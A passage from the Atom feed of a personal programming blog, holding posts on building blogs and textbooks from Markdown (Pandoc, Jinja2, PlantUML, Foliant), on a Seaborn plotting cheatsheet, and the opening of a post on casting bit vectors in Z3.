&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;elems_iter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;evaluate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;xpath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;XPathResult&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ANY_TYPE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;elems&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;elems_iter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;iterateNext&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;elems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;elems_iter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;iterateNext&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;elems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;elems&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;classList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;k&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// keyword&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;classList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// noun&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I could do the same with Pandoc that uses &lt;a href="https://pygments.org/"&gt;Pygments&lt;/a&gt; for the highlighting. I’ve already have some experience with it from my &lt;a href="https://github.com/bad-address/iasm"&gt;interactive assembler &lt;em&gt;iasm&lt;/em&gt;&lt;/a&gt; so it is factible.&lt;/p&gt;
&lt;p&gt;Certainly is going to be useful for the textbook.&lt;/p&gt;
&lt;h2 id="preprocessing"&gt;Preprocessing&lt;/h2&gt;
&lt;p&gt;You cannot set any layout in Markdown: put some image in the right margin, make a text an epigraph or a side-note.&lt;/p&gt;
&lt;p&gt;It’s on purpose: Markdown wants to be simple, in contrast with HTML. But in some cases it too simple.&lt;/p&gt;
&lt;p&gt;Jekyll allows you to pass HTML code along the Markdown. In my blog I use instead &lt;a href="https://jekyllrb.com/docs/liquid/"&gt;Liquid&lt;/a&gt; tags to make my live a little easier.&lt;/p&gt;
&lt;p&gt;This allows me not only to avoid writing HTML but also performing arbitrary operations like creating images on the fly (see more later).&lt;/p&gt;
&lt;p&gt;In my C/C++ lectures written in Tex/Latex, I required to generate different &lt;em&gt;flavors&lt;/em&gt; of slides.&lt;/p&gt;
&lt;p&gt;Slides for presenting in class with little text but a lot of diagrams; slides for reading with a lot of text, the &lt;em&gt;handout&lt;/em&gt; for the students.&lt;/p&gt;
&lt;p&gt;With the pandemic, I switched to virtual classes (no news here). Sharing my screen allowed me to &lt;em&gt;draw&lt;/em&gt; over the slides. They have incomplete diagrams that I complete interactively with the students during the lecture.&lt;/p&gt;
&lt;p&gt;Make this within Tex/Latex is possible but it is a pain.&lt;/p&gt;
&lt;p&gt;So I resorted to use a preprocessor. Similar to Liquid I used &lt;a href="https://jinja.palletsprojects.com/en/3.0.x/"&gt;Jinja2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;While all of these could be done, in theory, with Pandoc filters, I think that having a preprocessor and &lt;em&gt;template engine&lt;/em&gt; like Jinja2 can be quite handy.&lt;/p&gt;
&lt;h2 id="images-and-diagrams"&gt;Images and diagrams&lt;/h2&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9kb2Mvc2VhYm9ybi1jaGVhdHNoZWV0LXYxLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9kb2Mvc2VhYm9ybi1jaGVhdHNoZWV0LXYxLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object  class='fullwidth' align='middle' data='/img/doc/seaborn-cheatsheet-v1.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I make a lot of diagrams, state machines and plots but I try to not make them by hand.&lt;/p&gt;
&lt;p&gt;Tools that requires a human to do the layout are a waste of time (there are exceptions like me &lt;a href="/articles/2021/06/05/Seaborn-Cheatsheet.html"&gt;Seaborn Cheatsheet&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Instead I prefer to &lt;em&gt;describe&lt;/em&gt; the diagram in text and let a program to do the image and layout for me.&lt;/p&gt;
&lt;p&gt;For a lot of them I use &lt;a href="https://plantuml.com"&gt;PlantUML&lt;/a&gt;. Despite the name, it is for more than UML.&lt;/p&gt;
&lt;p&gt;For simpler block diagrams I use &lt;a href="http://ditaa.sourceforge.net/"&gt;Ditaa&lt;/a&gt; and for graph-like I have the good old &lt;a href="https://graphviz.org/"&gt;Graphviz&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2RvYy9xdWJlcy1uZXQtcGF0aC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0Pm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2RvYy9xdWJlcy1uZXQtcGF0aC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0Pm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/doc/qubes-net-path.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;So far I’m using these tools for by blog so I write the PlantUML/Ditaa/Graphviz diagrams (text) inside a Liquid tag in the same Markdown.&lt;/p&gt;
&lt;p&gt;During the building, the correct tool is called and the image is generated while the Liquid tag is replaced by some HTML &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; link.&lt;/p&gt;
&lt;p&gt;For my C/C++ textbook, I use a Foliant plugin that does the same but instead of Liquid tags, Foliant uses HTML tags as &lt;em&gt;hook points&lt;/em&gt; to call third party plugins.&lt;/p&gt;
&lt;p&gt;Probably I’m going to use Jinja2 for these too. I’m not convinced of using HTML tags/hooks or Pandoc filters here.&lt;/p&gt;
&lt;p&gt;Related to this, make &lt;a href="https://seaborn.pydata.org/"&gt;Seaborn&lt;/a&gt; and &lt;a href="https://matplotlib.org/"&gt;Matplotlib&lt;/a&gt; plots from the Markdown directly would be nice too.&lt;/p&gt;
&lt;h2 id="interactive-diagrams"&gt;Interactive diagrams&lt;/h2&gt;
&lt;p&gt;This applies only to my blog and Javascript is the thing that brings life anything. From simple &lt;a href="https://github.com/benfred/venn.js/"&gt;Venn diagrams&lt;/a&gt; to arbitrary complex &lt;a href="https://d3js.org/"&gt;D3 diagrams&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But I want those beautiful diagrams be part of my non-interactive lectures and textbook.&lt;/p&gt;
&lt;p&gt;How to do it is still an open question.&lt;/p&gt;
&lt;h2 id="assembly"&gt;Assembly&lt;/h2&gt;
&lt;p&gt;And not, I’m not talking about ARM.&lt;/p&gt;
&lt;p&gt;All the Markdown files are meant to be integrated in some meaningful way. Assembled. Linked.&lt;/p&gt;
&lt;p&gt;For the blog, Jekyll generates an independent web page for each post. It just put each in a file that follows the &lt;code&gt;year/month/day/post-name.html&lt;/code&gt; pattern name.&lt;/p&gt;
&lt;p&gt;A textbook is more complicated however.&lt;/p&gt;
&lt;p&gt;Foliant joins together all the Markdown files and call Pandoc &lt;em&gt;once&lt;/em&gt; to generate a single Tex/Latex file and from there, a &lt;em&gt;single&lt;/em&gt; PDF.&lt;/p&gt;
&lt;p&gt;This doesn’t scale.&lt;/p&gt;
&lt;p&gt;It would be much efficient to generate a Tex/Latex per Markdown file, a PDF per file and join them together at the end.&lt;/p&gt;
&lt;p&gt;Like in a C/C++ compilation schema, you compile each unit separately and link them at the end: if you have to modify a single file, you just need to compile that one only and not the whole thing.&lt;/p&gt;
&lt;p&gt;Foliant does this on purpose and for a good reason: when you write a textbook you want to have links and references to other parts including parts of &lt;em&gt;other&lt;/em&gt; Markdown files.&lt;/p&gt;
&lt;p&gt;To &lt;em&gt;resolve&lt;/em&gt; them, all the Markdown files need to be processed as a single unit.&lt;/p&gt;
&lt;p&gt;To have a separated unit compilation, I’m going to figure out how to &lt;em&gt;resolve the links and references&lt;/em&gt; at the Tex/Latex level.&lt;/p&gt;
&lt;p&gt;A simple &lt;code&gt;cat *.pdf &amp;gt; final.pdf&lt;/code&gt; will not work.&lt;/p&gt;
&lt;h2 id="post-processing"&gt;Post-processing&lt;/h2&gt;
&lt;p&gt;A few things that I do manually:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;optimize the size of the PNG files with &lt;a href="https://linux.die.net/man/1/optipng"&gt;optipng&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;check the grammar with &lt;a href="https://languagetool.org/"&gt;LanguageTool&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;review broken links (this is not even automated!)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some will still be manual (like checking the grammar) but the rest should be part of the pipeline.&lt;/p&gt;
&lt;p&gt;The review of any broken link could be done at the Pandoc filter level for example.&lt;/p&gt;
&lt;h2 id="pipeline"&gt;Pipeline&lt;/h2&gt;
&lt;p&gt;There are a lot of tools to call in sequence and to avoid recompilation, a tool should not be called if its input didn’t change since the last time it was called.&lt;/p&gt;
&lt;p&gt;I don’t want to generate the same HTML page if the Markdown didn’t change.&lt;/p&gt;
&lt;p&gt;Jekyll does a relative good thing here but Foliant doesn’t.&lt;/p&gt;
&lt;p&gt;I think that a plain &lt;a href="https://www.gnu.org/software/make/"&gt;Makefile&lt;/a&gt; should work. May be something on top to &lt;em&gt;visualize&lt;/em&gt; the pipeline?&lt;/p&gt;
&lt;p&gt;And the &lt;em&gt;toolchain&lt;/em&gt; should be in its own &lt;a href="https://www.docker.com/"&gt;Docker&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="final-thoughts"&gt;Final thoughts&lt;/h2&gt;
&lt;p&gt;Rewrite my blog, lectures and the work-in-progress textbook is not going to be trivial.&lt;/p&gt;
&lt;p&gt;There are a lot of gaps and problems without solution but I bet that this is going to improve my workflow.&lt;/p&gt;
&lt;p&gt;So far, this is want I think it may work:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/doc/build-blog.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Fingers crossed.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/06/12/Document-building-from-static-blog-to-textbook.html" rel="alternate" type="text/html" title="Document Building: from static web blogs to textbooks"/>
    <category term="blog" label="blog"/>
    <category term="latex" label="latex"/>
    <published>2021-06-12T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/06/05/Seaborn-Cheatsheet.html</id>
    <title>Seaborn Cheatsheet</title>
    <updated>2021-06-05T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Plotting data was always for me a weak point: it always took me a lot of time to make the plots and graphs, reading the documentation, &lt;em&gt;googling&lt;/em&gt; how to do one particular tweak and things like that.&lt;/p&gt;
&lt;p&gt;So I challenge myself: could I build a &lt;em&gt;cheatsheet&lt;/em&gt; about plotting?&lt;/p&gt;
&lt;p&gt;Yes, yes I could.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/seaborn-cheatsheet-v1.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://seaborn.pydata.org/"&gt;Seaborn&lt;/a&gt; is a very simple but powerful plotting library on top of &lt;a href="https://matplotlib.org/"&gt;matplotlib&lt;/a&gt; designed for statistical analysis.&lt;/p&gt;
&lt;p&gt;Quick links: &lt;a href="/assets/stats/seaborn-cheatsheet-v1.pdf"&gt;PDF (no bg)&lt;/a&gt;, &lt;a href="/assets/stats/seaborn-cheatsheet-bg-v1.pdf"&gt;PDF (bg)&lt;/a&gt;, &lt;a href="/assets/stats/seaborn-cheatsheet-v1.svg"&gt;SVG (no bg)&lt;/a&gt;, &lt;a href="/assets/stats/seaborn-cheatsheet-bg-v1.svg"&gt;SVG (bg)&lt;/a&gt; .&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="instructions"&gt;Instructions&lt;/h2&gt;
&lt;p&gt;Each rectangle list the parameters that take the plot functions. The bold labels inside, like &lt;strong&gt;hist&lt;/strong&gt; and &lt;strong&gt;violin&lt;/strong&gt;, are the names of the plots.&lt;/p&gt;
&lt;p&gt;The names are followed by a list of &lt;strong&gt;data parameter&lt;/strong&gt;, also in bold. These are used to tell the function from &lt;strong&gt;where&lt;/strong&gt; take the data. Some functions may take more parameters additionally, so they are in between &lt;strong&gt;square brakets&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The rest of the parameters listed are optional. Sometimes the cheatsheet shows the &lt;em&gt;type&lt;/em&gt; of the parameter, sometimes the &lt;em&gt;range&lt;/em&gt; and in others just a few possible values.&lt;/p&gt;
&lt;p&gt;From all of that you can write Python code like the following that plots a histogram for the univariate &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s2"&gt;&amp;quot;age&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in the given Pandas data frame. The extra &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;kde&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; plots a &lt;em&gt;kernel density estimation&lt;/em&gt; on top.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;seaborn&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nn"&gt;sns&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sns&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;histplot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;age&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kde&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Nested rectangles means that the outer rectangle &lt;strong&gt;includes&lt;/strong&gt; the parameters listed in the inner rectangle but not the other way around.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;dashed&lt;/strong&gt; rectangles means the &lt;strong&gt;union of&lt;/strong&gt;: the parameters are shared across.&lt;/p&gt;
&lt;p&gt;For example &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bar&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;point&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; accepts the parameters of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;box&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Some parameters are followed by a &lt;em&gt;comment in italics&lt;/em&gt; for a quick explanation of the parameters.&lt;/p&gt;
&lt;p&gt;The cheatsheet has a lot of small plots as visual examples. Some of them are &lt;strong&gt;linked with a line&lt;/strong&gt; with a plot function (rectangle) and some of them are &lt;strong&gt;linked with a dashed line&lt;/strong&gt; to a particular setting.&lt;/p&gt;
&lt;p&gt;For example in the cheatsheet there are 4 examples of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;hist&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; showing the different results based on &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;element&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;step&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multiple&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;stack&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multiple&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;dodge&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The fourth example is linked to the rectangle for the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;hist&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function (bivariate) and not linked to a particular setting.&lt;/p&gt;
&lt;p&gt;The colors also have a meaning: plot functions of the same color belongs to the same &lt;em&gt;Seaborn module&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Seaborn has –broadly speaking– 2 groups of functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the ones that work at the &lt;strong&gt;axes level&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;the ones that creates their own figure and axes, the &lt;strong&gt;figure level&lt;/strong&gt; (or module level)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The former are the core of Seaborn. Call them on the same axes to do a combination (an overlay) of different plots.&lt;/p&gt;
&lt;p&gt;The latter are however simpler. They just call the axes level function based on the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;kind&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; parameter.&lt;/p&gt;
&lt;p&gt;The advantage of the figure level functions is that they can create a &lt;strong&gt;matrix of plots&lt;/strong&gt; with the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; parameters.&lt;/p&gt;
&lt;p&gt;The colors represent these: red for uni/bivariate distribution plots (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;displot&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;), blue for relationship plots (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;relplot&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and green for distribution within categories plots (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;catplot&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The violet group is for regressions and does not follow exactly the pattern above.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/06/05/Seaborn-Cheatsheet.html" rel="alternate" type="text/html" title="Seaborn Cheatsheet"/>
    <category term="seaborn" label="seaborn"/>
    <category term="matplotlib" label="matplotlib"/>
    <category term="pandas" label="pandas"/>
    <category term="plotting" label="plotting"/>
    <category term="cheatsheet" label="cheatsheet"/>
    <published>2021-06-05T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/05/26/Casting-Broadcasting-LUT-and-Bitwise-Ops.html</id>
    <title>Casting, broadcasting, LUT and bitwise ops</title>
    <updated>2021-05-26T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Z3 has a few basic symbolic operation over bit vectors.&lt;/p&gt;
&lt;p&gt;But some others are missing (or at least I couldn’t find them).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cast&lt;/em&gt; bit vectors to change the vector width, like when you want to &lt;em&gt;upcast&lt;/em&gt; or &lt;em&gt;promote&lt;/em&gt; a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;uint8_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;uint16_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, is one of them.&lt;/p&gt;
&lt;p&gt;Arbitrary &lt;em&gt;bitwise operations&lt;/em&gt; is another one. Z3 provides the basic &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;And&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Or&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Xor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but arbitrary functions needs to be defined and applied by hand.&lt;/p&gt;
&lt;p&gt;And about function definitions, Z3 does not have a simple way to &lt;em&gt;define a function from a lookup table (LUT) or truth table&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A much tricker that I thought!&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This post is a kind-of sequel of &lt;a href="/articles/2021/05/17/Verifying-Some-Bithacks.html"&gt;Verifying some Bithacks post&lt;/a&gt; and prequel of some future posts.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="casting"&gt;Casting&lt;/h2&gt;
&lt;p&gt;Z3 does not provide a mechanism to change the size of a bit vector (or at least I didn’t find one).&lt;/p&gt;
&lt;p&gt;The following is a quite simple &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cast&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function &lt;em&gt;ala C&lt;/em&gt; – however it is &lt;strong&gt;far&lt;/strong&gt; from &lt;a href="https://en.cppreference.com/w/c/language/conversion"&gt;being&lt;/a&gt; a fully C/C++ compliance &lt;a href="https://en.cppreference.com/w/c/language/cast"&gt;&lt;em&gt;cast&lt;/em&gt;&lt;/a&gt; including its UBs.&lt;/p&gt;
